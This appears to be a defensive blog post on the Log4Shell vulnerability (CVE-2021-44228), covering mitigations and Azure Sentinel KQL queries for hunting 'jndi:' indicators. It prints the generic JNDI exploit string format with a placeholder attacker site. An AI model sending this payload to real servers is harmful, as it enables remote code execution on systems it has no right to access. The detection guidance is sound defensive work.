Azure Sentinel - Log4J

Intro

Apache Log4j is a Java-based logging utility that has recently had a zero-day exploit released codenamed “Log4Shell” (CVE-2021-44228). This zero-day allows an attacker to execute code on the remote server (Remote Code Execution) and can allow an attacker the ability to fully compromise the server the service is running on.

Why is this a problem?

The log4J package uses a JNDILookup plugin to allow the application/service to search for data throughout a Java directory and is found on all platforms running Java+logging from version 2.0-beta9 to 2.15.0. This has affected major platforms such as Google, Youtube, Facebook, Twitter, and many more due to how widespread the solution is used.

This ability to execute remote code allows an attacker, with very limited effort, to gain access to the underlying asset and access to the CLI enabling them to launch applications, make changes to files and even download software. I won’t post how the attack itself is completed here, however, at a high level it requires the attacker to host a site and send the following string format to gain access:

${jndi:ldap://[attacker site]/a}

Ok I’m worried, what can I do?

The vulnerability has been patched in version 2.16.0 so the safest option will be to upgrade Log4j to the latest version or at least to 2.16.0, you can find the link here

Alternatively, if upgrading is not an option you can mitigate the risk with the following workarounds:

Update property (does not mitigate risks in “non-default configurations” - see CVE-2021-45046):

log4j2.formatMsgNoLookups=true

Or remove the JNDILookup from the log4j-core:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

How can I investigate the issue with Sentinel?

It should go without saying but to protect against any zero-day one of the first and best steps you can take is patching, regardless of how big of a task it may seem patching will provide you with additional security that you otherwise would not be able to gain from simply applying workarounds. But let’s say you are now fully patched, you’re confident that you’ve not been compromised but how can you really tell? Microsoft have released some great new detection methods including Microsoft 365, Cloud and IoT Defender definitions, Azure Firewall Premium IDPS (Intrusion Detection and Prevention System) rules, and Web Application Firewall (WAF) default ruleset

The big-ticket item though is the advanced hunting query for Sentinel, providing you have Microsoft 365 Defender/Cloud already deployed in your environment you can now run the following to see if a service has been compromised, don’t forget just because you’ve not seen any outage or action doesn’t mean your environment has not been breached.

Malicious Indicators in Cloud Application Events

Return the IP address, Payload string and Download URL of the attacker:

CloudAppEvents 
| where Timestamp > datetime("2021-12-01")
| where UserAgent contains "jndi:" 
or Application contains "jndi:"
or AdditionalFields contains "jndi:"
or AccountDisplayName contains "jndi:"
| project ActionType, AccountDisplayName, IPAddress, UserAgent, AdditionalFields, ActivityType, Application

Vulnerable applications via Threat and Vulnerability Management

Search for potentially still vulnerable applications:

DeviceTvmSoftwareInventory
| where SoftwareName contains "log4"
| project DeviceName, SoftwareName, SoftwareVersion

You can read more about Microsofts response to preventing, detecting, and hunting for CVE-2021-44228 here